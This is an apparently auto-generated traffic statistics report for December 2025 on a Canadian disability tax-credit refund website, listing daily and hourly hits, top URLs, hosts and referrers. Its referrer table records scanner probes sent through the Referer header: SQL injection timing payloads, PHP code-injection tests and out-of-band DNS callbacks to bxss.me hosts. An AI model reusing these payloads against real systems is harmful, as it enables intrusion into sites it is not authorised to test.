Usage Statistics for alisarefunds.remboursementsalisa.com

Summary Period: December 2025
Generated 01-Jan-2026 05:56 MST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for December 2025
Total Hits 31347
Total Files 9751
Total Pages 15718
Total Visits 3648
Total KBytes 43756
Total Unique Sites 2829
Total Unique URLs 60
Total Unique Referrers 189
Total Unique User Agents 656
. Avg Max
Hits per Hour 42 3236
Hits per Day 1011 18785
Files per Day 314 2256
Pages per Day 507 12466
Sites per Day 91 294
Visits per Day 117 1058
KBytes per Day 1411 6878
Hits by Response Code
Code 101 - Switching Protocols 0.02% 6
Code 200 - OK 31.11% 9751
Code 206 - Partial Content 0.01% 2
Code 301 - Moved Permanently 55.77% 17482
Code 302 - Found 1.16% 363
Code 304 - Not Modified 4.24% 1330
Code 403 - Forbidden 0.55% 173
Code 404 - Not Found 4.68% 1467
Code 405 - Method Not Allowed 0.00% 1
Code 409 - Conflict 0.00% 1
Code 500 - Internal Server Error 0.01% 3
Code 503 - Service Unavailable 2.45% 768

Daily usage for December 2025

Daily Statistics for December 2025
Day Hits Files Pages Visits Sites KBytes
1 539 1.72% 285 2.92% 107 0.68% 85 2.33% 137 4.84% 2428 5.55%
2 656 2.09% 407 4.17% 96 0.61% 77 2.11% 140 4.95% 987 2.25%
3 568 1.81% 328 3.36% 98 0.62% 84 2.30% 142 5.02% 984 2.25%
4 327 1.04% 216 2.22% 96 0.61% 75 2.06% 112 3.96% 909 2.08%
5 498 1.59% 323 3.31% 132 0.84% 92 2.52% 129 4.56% 1797 4.11%
6 248 0.79% 162 1.66% 87 0.55% 77 2.11% 105 3.71% 174 0.40%
7 209 0.67% 120 1.23% 78 0.50% 73 2.00% 89 3.15% 288 0.66%
8 525 1.67% 352 3.61% 109 0.69% 84 2.30% 146 5.16% 1492 3.41%
9 453 1.45% 312 3.20% 100 0.64% 86 2.36% 142 5.02% 1241 2.84%
10 709 2.26% 434 4.45% 215 1.37% 200 5.48% 294 10.39% 2415 5.52%
11 600 1.91% 375 3.85% 104 0.66% 77 2.11% 133 4.70% 2110 4.82%
12 1015 3.24% 396 4.06% 229 1.46% 93 2.55% 137 4.84% 6499 14.85%
13 254 0.81% 150 1.54% 86 0.55% 79 2.17% 106 3.75% 336 0.77%
14 347 1.11% 193 1.98% 131 0.83% 112 3.07% 127 4.49% 444 1.01%
15 18785 59.93% 2256 23.14% 12466 79.31% 1058 29.00% 157 5.55% 6878 15.72%
16 574 1.83% 345 3.54% 100 0.64% 80 2.19% 132 4.67% 1815 4.15%
17 397 1.27% 267 2.74% 87 0.55% 63 1.73% 103 3.64% 1340 3.06%
18 423 1.35% 272 2.79% 85 0.54% 66 1.81% 100 3.53% 1163 2.66%
19 341 1.09% 231 2.37% 88 0.56% 72 1.97% 107 3.78% 1419 3.24%
20 284 0.91% 157 1.61% 99 0.63% 85 2.33% 121 4.28% 1149 2.63%
21 215 0.69% 126 1.29% 83 0.53% 75 2.06% 92 3.25% 362 0.83%
22 498 1.59% 313 3.21% 109 0.69% 90 2.47% 139 4.91% 674 1.54%
23 376 1.20% 216 2.22% 108 0.69% 93 2.55% 133 4.70% 947 2.16%
24 247 0.79% 152 1.56% 90 0.57% 77 2.11% 101 3.57% 341 0.78%
25 228 0.73% 126 1.29% 95 0.60% 79 2.17% 106 3.75% 473 1.08%
26 220 0.70% 134 1.37% 80 0.51% 67 1.84% 84 2.97% 591 1.35%
27 230 0.73% 137 1.40% 87 0.55% 76 2.08% 97 3.43% 341 0.78%
28 240 0.77% 134 1.37% 105 0.67% 81 2.22% 99 3.50% 717 1.64%
29 485 1.55% 323 3.31% 119 0.76% 93 2.55% 153 5.41% 1276 2.92%
30 555 1.77% 322 3.30% 154 0.98% 125 3.43% 156 5.51% 1797 4.11%
31 301 0.96% 187 1.92% 95 0.60% 74 2.03% 101 3.57% 370 0.84%

Hourly usage for December 2025

Hourly Statistics for December 2025
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 85 2645 8.44% 11 367 3.76% 37 1169 7.44% 45 1402 3.20%
1 110 3420 10.91% 11 350 3.59% 68 2114 13.45% 10 317 0.72%
2 107 3332 10.63% 13 433 4.44% 42 1329 8.46% 20 614 1.40%
3 110 3430 10.94% 11 356 3.65% 82 2542 16.17% 158 4901 11.20%
4 113 3522 11.24% 16 504 5.17% 90 2813 17.90% 27 851 1.95%
5 123 3836 12.24% 30 951 9.75% 102 3179 20.23% 113 3514 8.03%
6 27 838 2.67% 15 491 5.04% 8 257 1.64% 114 3543 8.10%
7 28 885 2.82% 18 566 5.80% 4 145 0.92% 104 3239 7.40%
8 27 858 2.74% 19 589 6.04% 5 175 1.11% 82 2531 5.78%
9 29 908 2.90% 18 571 5.86% 5 162 1.03% 60 1863 4.26%
10 26 823 2.63% 15 493 5.06% 4 144 0.92% 51 1596 3.65%
11 25 803 2.56% 16 504 5.17% 4 137 0.87% 58 1813 4.14%
12 23 742 2.37% 15 489 5.01% 4 130 0.83% 62 1926 4.40%
13 43 1352 4.31% 19 609 6.25% 7 247 1.57% 216 6682 15.27%
14 20 647 2.06% 13 429 4.40% 3 120 0.76% 29 894 2.04%
15 16 507 1.62% 10 325 3.33% 3 117 0.74% 38 1176 2.69%
16 14 435 1.39% 9 294 3.02% 3 123 0.78% 24 750 1.71%
17 13 424 1.35% 9 301 3.09% 3 100 0.64% 20 615 1.41%
18 11 368 1.17% 8 251 2.57% 3 104 0.66% 44 1360 3.11%
19 14 446 1.42% 8 252 2.58% 5 156 0.99% 55 1708 3.90%
20 9 298 0.95% 6 189 1.94% 3 109 0.69% 13 409 0.93%
21 10 324 1.03% 5 180 1.85% 3 111 0.71% 19 600 1.37%
22 8 253 0.81% 4 133 1.36% 3 109 0.69% 21 666 1.52%
23 8 251 0.80% 4 124 1.27% 4 126 0.80% 25 784 1.79%

Top 30 of 60 Total URLs
# Hits KBytes URL
1 4202 13.40% 0 0.00% /wp-cron.php
2 3142 10.02% 257 0.59% /wp-content/uploads/2019/05/separator.png
3 2450 7.82% 2319 5.30% /wp-content/uploads/2019/05/alisa.png
4 427 1.36% 58 0.13% /robots.txt
5 171 0.55% 0 0.00% /wp-content/themes/
6 170 0.54% 0 0.00% /wp-content/plugins/
7 169 0.54% 0 0.00% /wp-content/
8 95 0.30% 2 0.00% /wp-json/wp/v2/posts
9 69 0.22% 92 0.21% /wp-content/uploads/2019/05/alisa_en.png
10 67 0.21% 2 0.01% /wp-content/plugins/litespeed-cache/guest.vary.php
11 32 0.10% 727 1.66% /faq/
12 11 0.04% 359 0.82% /wp-content/uploads/2018/06/nicole.jpg
13 9 0.03% 5 0.01% /feed/
14 6 0.02% 3 0.01% /comments/feed/
15 6 0.02% 19 0.04% /dtc-and-other-services/
16 4 0.01% 2 0.00% /sitemap.xml
17 3 0.01% 0 0.00% /
18 3 0.01% 0 0.00% /contact-alisa-refunds/
19 3 0.01% 1 0.00% /wp-content/plugins/all-in-one-seo-pack-pro/dist/Pro/assets/table-of-contents.95d0dfce.js
20 2 0.01% 82 0.19% /helping-canadians-with-disability-tax-credit/
21 2 0.01% 13 0.03% /wp-content/uploads/2018/06/qtq50-b4rfyt-e1530063978486.jpeg
22 2 0.01% 18 0.04% /wp-content/uploads/2018/06/slide1-1024x320-1-e1603071578507.png
23 1 0.00% 0 0.00% /about-alisa-refunds/
24 1 0.00% 1 0.00% /author/administrator/feed/
25 1 0.00% 13 0.03% /cpanel
26 1 0.00% 21 0.05% /health-related-tax-credits/
27 1 0.00% 51 0.12% /ufaq/are-there-fees-to-open-the-file-or-to-process-the-file/
28 1 0.00% 51 0.12% /ufaq/can-i-open-a-file-for-a-family-member/
29 1 0.00% 1 0.00% /ufaq/do-i-have-to-come-to-your-offices-to-open-a-file/feed/
30 1 0.00% 51 0.12% /ufaq/do-you-do-presentations-for-groups-or-associations/

Top 10 of 60 Total URLs By KBytes
# Hits KBytes URL
1 2450 7.82% 2319 5.30% /wp-content/uploads/2019/05/alisa.png
2 32 0.10% 727 1.66% /faq/
3 11 0.04% 359 0.82% /wp-content/uploads/2018/06/nicole.jpg
4 3142 10.02% 257 0.59% /wp-content/uploads/2019/05/separator.png
5 69 0.22% 92 0.21% /wp-content/uploads/2019/05/alisa_en.png
6 2 0.01% 82 0.19% /helping-canadians-with-disability-tax-credit/
7 427 1.36% 58 0.13% /robots.txt
8 1 0.00% 54 0.12% /ufaq/i-have-decreased-mobility-difficulties-to-walk-and-my-doctor-believes-i-have-to-be-using-a-wheelchair-to-be-eligible-to-health-related-tax-credits-is-that-true/
9 1 0.00% 53 0.12% /ufaq/if-i-am-presently-working-will-the-government-consider-that-my-current-health-complication-is-not-severe-enough-to-benefit-from-income-tax-credits/
10 1 0.00% 53 0.12% /ufaq/i-am-a-single-parent-and-my-child-has-health-problems-is-it-possible-for-me-to-open-a-file-without-involving-the-other-parent/

Top 10 of 36 Total Entry Pages
# Hits Visits URL
1 3 0.01% 1191 88.03% /
2 95 0.30% 101 7.46% /wp-json/wp/v2/posts
3 32 0.10% 18 1.33% /faq/
4 6 0.02% 9 0.67% /dtc-and-other-services/
5 6 0.02% 2 0.15% /comments/feed/
6 9 0.03% 2 0.15% /feed/
7 1 0.00% 1 0.07% /about-alisa-refunds/
8 1 0.00% 1 0.07% /author/administrator/feed/
9 3 0.01% 1 0.07% /contact-alisa-refunds/
10 1 0.00% 1 0.07% /health-related-tax-credits/

Top 10 of 36 Total Exit Pages
# Hits Visits URL
1 3 0.01% 1163 74.03% /
2 169 0.54% 109 6.94% /wp-content/
3 95 0.30% 99 6.30% /wp-json/wp/v2/posts
4 170 0.54% 59 3.76% /wp-content/plugins/
5 171 0.55% 59 3.76% /wp-content/themes/
6 32 0.10% 27 1.72% /faq/
7 6 0.02% 10 0.64% /dtc-and-other-services/
8 9 0.03% 9 0.57% /feed/
9 6 0.02% 6 0.38% /comments/feed/
10 3 0.01% 3 0.19% /contact-alisa-refunds/

Top 30 of 2829 Total Sites
# Hits Files KBytes Visits Hostname
1 16706 53.29% 508 5.21% 1642 3.75% 954 26.15% no-mans-land.m247.com
2 4202 13.40% 4202 43.09% 0 0.00% 1 0.03% 158.15.180.107.host.secureserver.net
3 2593 8.27% 1198 12.29% 13024 29.76% 89 2.44% modemcable170.108-23-96.mc.videotron.ca
4 286 0.91% 286 2.93% 190 0.43% 0 0.00% 20.175.58.75
5 226 0.72% 1 0.01% 2494 5.70% 1 0.03% 85.203.21.138
6 214 0.68% 133 1.36% 1175 2.68% 94 2.58% 216.244.66.227
7 212 0.68% 93 0.95% 1018 2.33% 6 0.16% ipagstaticip-22a835b3-a1ca-468a-f973-6a31acb517f5.sdsl.bell.ca
8 131 0.42% 4 0.04% 1376 3.14% 1 0.03% 85.203.21.75
9 121 0.39% 0 0.00% 1353 3.09% 1 0.03% 85.203.21.132
10 111 0.35% 111 1.14% 64 0.15% 0 0.00% h75-152-15-31.ptr.qidc.telus.com
11 101 0.32% 3 0.03% 4160 9.51% 1 0.03% 146.70.178.246
12 73 0.23% 73 0.75% 48 0.11% 0 0.00% 104.28.132.19
13 68 0.22% 68 0.70% 44 0.10% 0 0.00% 104.28.132.20
14 61 0.19% 61 0.63% 38 0.09% 0 0.00% 104.28.132.24
15 54 0.17% 54 0.55% 38 0.09% 0 0.00% 70.26.221.27
16 53 0.17% 53 0.54% 69 0.16% 0 0.00% 104.28.132.22
17 48 0.15% 48 0.49% 30 0.07% 0 0.00% 104.28.132.23
18 44 0.14% 20 0.21% 274 0.63% 2 0.05% modemcable157.183-161-184.mc.videotron.ca
19 40 0.13% 40 0.41% 28 0.06% 0 0.00% h66-203-220-34.ptr.qidc.telus.com
20 33 0.11% 33 0.34% 21 0.05% 0 0.00% 104.28.132.21
21 33 0.11% 33 0.34% 19 0.04% 0 0.00% ftth-109-231-93-36.cooptel.qc.ca
22 30 0.10% 30 0.31% 21 0.05% 0 0.00% modemcable095.103-57-74.mc.videotron.ca
23 29 0.09% 29 0.30% 18 0.04% 0 0.00% 104.28.132.25
24 28 0.09% 28 0.29% 18 0.04% 0 0.00% 104.28.132.18
25 28 0.09% 28 0.29% 20 0.04% 0 0.00% modemcable093.97-176-173.mc.videotron.ca
26 27 0.09% 27 0.28% 116 0.27% 0 0.00% google-proxy-74-125-210-2.google.com
27 26 0.08% 26 0.27% 18 0.04% 0 0.00% 24-54-48-172.resi.cgocable.ca
28 26 0.08% 26 0.27% 18 0.04% 0 0.00% bras-base-bchmpq5707w-grc-31-70-31-228-126.dsl.bell.ca
29 26 0.08% 26 0.27% 18 0.04% 0 0.00% h209-52-19-51.ptr.qidc.telus.com
30 24 0.08% 24 0.25% 49 0.11% 0 0.00% google-proxy-74-125-210-1.google.com

Top 10 of 2829 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 2593 8.27% 1198 12.29% 13024 29.76% 89 2.44% modemcable170.108-23-96.mc.videotron.ca
2 101 0.32% 3 0.03% 4160 9.51% 1 0.03% 146.70.178.246
3 226 0.72% 1 0.01% 2494 5.70% 1 0.03% 85.203.21.138
4 16706 53.29% 508 5.21% 1642 3.75% 954 26.15% no-mans-land.m247.com
5 131 0.42% 4 0.04% 1376 3.14% 1 0.03% 85.203.21.75
6 121 0.39% 0 0.00% 1353 3.09% 1 0.03% 85.203.21.132
7 214 0.68% 133 1.36% 1175 2.68% 94 2.58% 216.244.66.227
8 212 0.68% 93 0.95% 1018 2.33% 6 0.16% ipagstaticip-22a835b3-a1ca-468a-f973-6a31acb517f5.sdsl.bell.ca
9 19 0.06% 0 0.00% 458 1.05% 2 0.05% 172.192.18.188
10 8 0.03% 0 0.00% 374 0.85% 1 0.03% 194.26.192.112.powered.by.rdp.sh

Top 189 of 189 Total Referrers
# Hits Referrer
1 26685 85.13% - (Direct Request)
2 3409 10.88% https://www.google.com/search
3 193 0.62% http://www.alisarefunds.ca/
4 99 0.32% https://sucuri.net
5 98 0.31% binance.com
6 74 0.24% '
7 67 0.21% http://alisarefunds.ca/
8 48 0.15% \
9 44 0.14% www.google.com
10 33 0.11% https://www.google.com/url/
11 31 0.10% https://www.google.com/images/url
12 29 0.09% http://mail.google.com/
13 24 0.08% '.print(md5(31337)).'
14 24 0.08% (select 198766*667891 from DUAL)
15 24 0.08% (select 198766*667891)
16 24 0.08% (select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)
17 24 0.08% (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'\
18 24 0.08% [php]print(md5(31337))
19 24 0.08% if(now()
20 24 0.08% print(md5(31337))
21 11 0.04% http://alisarefunds.ca
22 10 0.03% http://mobile-webview.gmail.com/
23 6 0.02% http://www.alisarefunds.ca/wp-content/
24 5 0.02% https://www.google.com/
25 4 0.01% http://alisarefunds.ca/links/
26 4 0.01% http://www.alisarefunds.ca/wp-admin/
27 4 0.01% http://www.alisarefunds.ca/wp-includes/
28 3 0.01% alisarefunds.ca
29 3 0.01% http://alisarefunds.ca/category/alisa-refunds/
30 3 0.01% http://alisarefunds.ca/who_benefits_dtc/
31 3 0.01% http://alisarefunds.ca/wp_super_faq/does-my-high-income-decrease-my-chances-of-getting-refunds/
32 3 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-je-dois-avoir-un-certain-niveau-de-revenus-pour-beneficier-de-vos-services/
33 3 0.01% http://alisarefunds.ca/wp_super_faq/nous-sommes-separes-et-mon-enfant-a-des-problemes-de-sante-est-ce-que-je-peux-ouvrir-un-dossier-sans-lautre-parent/
34 3 0.01% http://alisarefunds.ca/wp_super_faq/what-type-of-company-is-alisa-refunds/
35 3 0.01% http://m.facebook.com
36 3 0.01% http://www.alisarefunds.ca/robots.txt
37 3 0.01% http://www.alisarefunds.ca/wp-content/languages/
38 3 0.01% https://www.autisme.qc.ca/decouvrir/ressources-financieres.html
39 3 0.01% https://www.facebook.com/
40 2 0.01% http://alisarefunds.ca/about-us-2/media/
41 2 0.01% http://alisarefunds.ca/about-us-2/our-experts/
42 2 0.01% http://alisarefunds.ca/faq/
43 2 0.01% http://alisarefunds.ca/helping-canadians-with-disability-tax-credit/
44 2 0.01% http://alisarefunds.ca/links/activities-2/
45 2 0.01% http://alisarefunds.ca/links/conférences-affiliations/
46 2 0.01% http://alisarefunds.ca/nos-produits/
47 2 0.01% http://alisarefunds.ca/nos-produits/auto-draft/
48 2 0.01% http://alisarefunds.ca/nos-produits/témoignages/
49 2 0.01% http://alisarefunds.ca/our-unique-offer/
50 2 0.01% http://alisarefunds.ca/our-unique-offer/eligibility/
51 2 0.01% http://alisarefunds.ca/our-unique-offer/faq-2/
52 2 0.01% http://alisarefunds.ca/our-unique-offer/testimonials-2/
53 2 0.01% http://alisarefunds.ca/robots.txt
54 2 0.01% http://alisarefunds.ca/wp_super_faq/are-your-fees-already-deducted-from-the-amounts-i-will-receive-from-the-government/
55 2 0.01% http://alisarefunds.ca/wp_super_faq/auto-draft/
56 2 0.01% http://alisarefunds.ca/wp_super_faq/avez-vous-besoin-de-mon-dossier-medical/
57 2 0.01% http://alisarefunds.ca/wp_super_faq/ca-prend-combien-de-temps-pour-traiter-mon-dossier/
58 2 0.01% http://alisarefunds.ca/wp_super_faq/combien-coutent-vos-services/
59 2 0.01% http://alisarefunds.ca/wp_super_faq/do-i-have-to-come-to-your-offices-to-open-a-file/
60 2 0.01% http://alisarefunds.ca/wp_super_faq/do-i-have-to-pay-income-taxes-on-the-amounts-i-received-thanks-to-your-services/
61 2 0.01% http://alisarefunds.ca/wp_super_faq/do-i-have-to-pay-your-fees-for-future-years-also/
62 2 0.01% http://alisarefunds.ca/wp_super_faq/do-you-need-a-copy-of-my-medical-records/
63 2 0.01% http://alisarefunds.ca/wp_super_faq/does-alisa-refunds-send-me-the-refunds-i-am-entitled-to/
64 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-cest-vous-qui-nous-envoie-les-remboursements-obtenus/
65 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-jaurai-a-vous-fournir-mes-documents-dimpots-des-dix-10-dernieres-annees/
66 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-jaurai-besoin-de-faire-remplir-des-documents-par-mon-medecin/
67 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-jaurai-besoin-de-me-deplacer/
68 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-je-devrai-vous-payer-des-frais-pour-les-annees-futures/
69 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-je-dois-payer-de-limpot-sur-les-montants-recus-grace-a-vos-services/
70 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-je-peux-ouvrir-un-dossier-pour-un-membre-de-ma-famille/
71 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-le-fait-davoir-des-revenus-eleves-diminue-mes-chances-de-recevoir-ou-dobtenir-des-remboursements/
72 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-les-montants-que-je-recevrai-sajoutent-a-mon-revenu/
73 2 0.01% http://alisarefunds.ca/wp_super_faq/est-ce-que-vos-honoraires-sont-deja-deduits-des-remboursements-que-je-recevrai/
74 2 0.01% http://alisarefunds.ca/wp_super_faq/how-far-back-can-you-claim-amounts-for-me/
75 2 0.01% http://alisarefunds.ca/wp_super_faq/how-long-will-it-take-alisa-refunds-to-process-my-file/
76 2 0.01% http://alisarefunds.ca/wp_super_faq/i-already-receive-certain-credits-with-regard-to-my-medical-condition-will-i-have-to-pay-you-fees-on-those-amounts/
77 2 0.01% http://alisarefunds.ca/wp_super_faq/i-have-decreased-mobility-difficulties-to-walk-and-my-doctor-believes-i-have-to-be-using-a-wheelchair-to-be-eligible-to-health-related-tax-credits-is-that-true/
78 2 0.01% http://alisarefunds.ca/wp_super_faq/if-i-am-presently-working-will-the-government-consider-that-my-current-health-complication-is-not-severe-enough-to-benefit-from-income-tax-credits-2/
79 2 0.01% http://alisarefunds.ca/wp_super_faq/if-i-am-the-one-with-the-health-problems-why-do-you-also-evaluate-my-familys-tax-situation-2/
80 2 0.01% http://alisarefunds.ca/wp_super_faq/if-i-do-not-receive-any-refunds-do-i-have-to-pay-you-anyway-for-the-work-you-have-done-for-me/
81 2 0.01% http://alisarefunds.ca/wp_super_faq/jai-ete-refusee-pour-la-rente-dinvalidite-est-il-possible-detre-eligible-a-certains-credits-ou-deductions/
82 2 0.01% http://alisarefunds.ca/wp_super_faq/je-recois-deja-certains-credits-relativement-a-ma-condition-medicale-est-ce-que-je-devrai-vous-payer-des-honoraires-sur-ces-montants/
83 2 0.01% http://alisarefunds.ca/wp_super_faq/je-recois-une-rente-dinvalidite-sagit-il-de-la-meme-chose/
84 2 0.01% http://alisarefunds.ca/wp_super_faq/jusqua-combien-dannees-pouvez-vous-reculer-pour-reclamer-les-montants-auxquels-jai-droit/
85 2 0.01% http://alisarefunds.ca/wp_super_faq/mon-docteur-croit-quil-faut-que-je-sois-en-chaise-roulante-pour-etre-eligible-a-des-credits-dimpots-relies-a-mes-problemes-de-mobilite-reduite-est-ce-le-cas/
86 2 0.01% http://alisarefunds.ca/wp_super_faq/mon-pere-est-decede-il-y-a-trois-ans-des-suites-dune-longue-maladie-est-ce-toujours-possible-dagir-dans-son-dossier/
87 2 0.01% http://alisarefunds.ca/wp_super_faq/my-father-has-past-away-following-a-lengthy-debilitating-illness-is-it-still-possible-to-obtain-refunds-in-his-case/
88 2 0.01% http://alisarefunds.ca/wp_super_faq/pourquoi-est-il-necessaire-de-verifier-le-dossier-fiscal-de-toute-ma-famille-alors-que-je-suis-la-seule-personne-a-avoir-des-problemes-de-sante-2/
89 2 0.01% http://alisarefunds.ca/wp_super_faq/quelle-est-votre-structure-corporative/
90 2 0.01% http://alisarefunds.ca/wp_super_faq/quels-sont-les-criteres-dadmissibilite-pour-des-credits-dimpots-relies-a-ma-sante/
91 2 0.01% http://alisarefunds.ca/wp_super_faq/si-je-suis-admissible-a-des-credits-dimpots-relies-a-ma-condition-medicale-ou-a-celle-de-mes-proches-pourquoi-mon-comptable-ne-les-a-pas-deja-reclames-pour-moi/
92 2 0.01% http://alisarefunds.ca/wp_super_faq/si-je-travaille-presentement-est-ce-que-le-gouvernement-va-considerer-que-mes-problemes-de-sante-ne-sont-pas-suffisamment-graves-pour-me-donner-droit-a-des-credits-dimpots-2/
93 2 0.01% http://alisarefunds.ca/wp_super_faq/vous-deplacez-vous-pour-presenter-vos-services-a-certains-groupes/
94 2 0.01% http://alisarefunds.ca/wp_super_faq/will-i-have-to-add-the-refunds-received-from-the-government-to-my-revenue-on-my-income-tax-return/
95 2 0.01% http://alisarefunds.ca/wp_super_faq/will-i-have-to-give-you-my-income-tax-returns-for-the-past-ten-10-years/
96 2 0.01% http://alisarefunds.ca/wp_super_faq/y-a-t-il-des-frais-douverture-ou-de-traitement-de-dossier/
97 2 0.01% http://alisarefunds.ca/à-propos-de-nous/
98 2 0.01% http://alisarefunds.ca/à-propos-de-nous/media/
99 2 0.01% http://alisarefunds.ca/à-propos-de-nous/notre-équipe/
100 2 0.01% http://m.facebook.com/
101 2 0.01% http://mail.alisarefunds.ca/
102 2 0.01% https://alisarefunds.ca/
103 2 0.01% https://alisarefunds.ca/dtc_and_health_related_tax_credit/
104 2 0.01% https://www.canadacustomerservices.com/remboursements-alisa-customer-service
105 2 0.01% https://www.netcraft.com/survey/
106 1 0.00% '.gethostbyname(lc('hitbb'.'zkxozvdp5ba7b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(87).chr(117).chr(85).'
107 1 0.00% '.gethostbyname(lc('hitbe'.'pgmfartlce31f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(76).chr(119).chr(69).'
108 1 0.00% '.gethostbyname(lc('hitbg'.'ptowfjpadef47.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(70).chr(100).chr(81).'
109 1 0.00% '.gethostbyname(lc('hitbr'.'loyaoewi1c893.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(71).chr(110).chr(80).'
110 1 0.00% '.gethostbyname(lc('hitbt'.'efoklzmp548da.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(84).chr(100).chr(80).'
111 1 0.00% '.gethostbyname(lc('hitco'.'lfzbhjiu3cbe9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(69).chr(114).chr(65).'
112 1 0.00% '.gethostbyname(lc('hitdh'.'ibvyeeoh09c29.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(73).chr(112).chr(66).'
113 1 0.00% '.gethostbyname(lc('hitfd'.'tzhexzit81b1c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(72).chr(99).chr(83).'
114 1 0.00% '.gethostbyname(lc('hitfg'.'eyrqpupm83bb8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(86).chr(117).chr(78).'
115 1 0.00% '.gethostbyname(lc('hitfi'.'nwzizjmya75e1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(77).chr(120).chr(83).'
116 1 0.00% '.gethostbyname(lc('hitgg'.'ocomcelf9a90c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(71).chr(101).chr(65).'
117 1 0.00% '.gethostbyname(lc('hitir'.'onnuzisd5f1b1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(78).chr(104).chr(84).'
118 1 0.00% '.gethostbyname(lc('hitiy'.'ftbdywsk4af7b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(84).chr(122).chr(79).'
119 1 0.00% '.gethostbyname(lc('hitkc'.'uvabzbixb6f96.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(66).chr(115).chr(71).'
120 1 0.00% '.gethostbyname(lc('hitlk'.'tzbksvpl3b413.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(82).chr(115).chr(84).'
121 1 0.00% '.gethostbyname(lc('hitlo'.'kfdxafzb09906.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(80).chr(99).chr(83).'
122 1 0.00% '.gethostbyname(lc('hitmp'.'xnzjchkob3e36.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(65).chr(100).chr(79).'
123 1 0.00% '.gethostbyname(lc('hitoz'.'fltkqpdmf3b92.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(79).chr(109).chr(69).'
124 1 0.00% '.gethostbyname(lc('hitsa'.'gqsdzxzsf594e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(81).chr(118).chr(89).'
125 1 0.00% '.gethostbyname(lc('hitst'.'lsufdenabeb69.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(69).chr(100).chr(85).'
126 1 0.00% '.gethostbyname(lc('hitst'.'sipkfcba3d579.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(67).chr(110).chr(79).'
127 1 0.00% '.gethostbyname(lc('hitth'.'skvcnvoy314a8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(73).chr(120).chr(71).'
128 1 0.00% '.gethostbyname(lc('hitxv'.'yijuyliy88ceb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(89).chr(103).chr(72).'
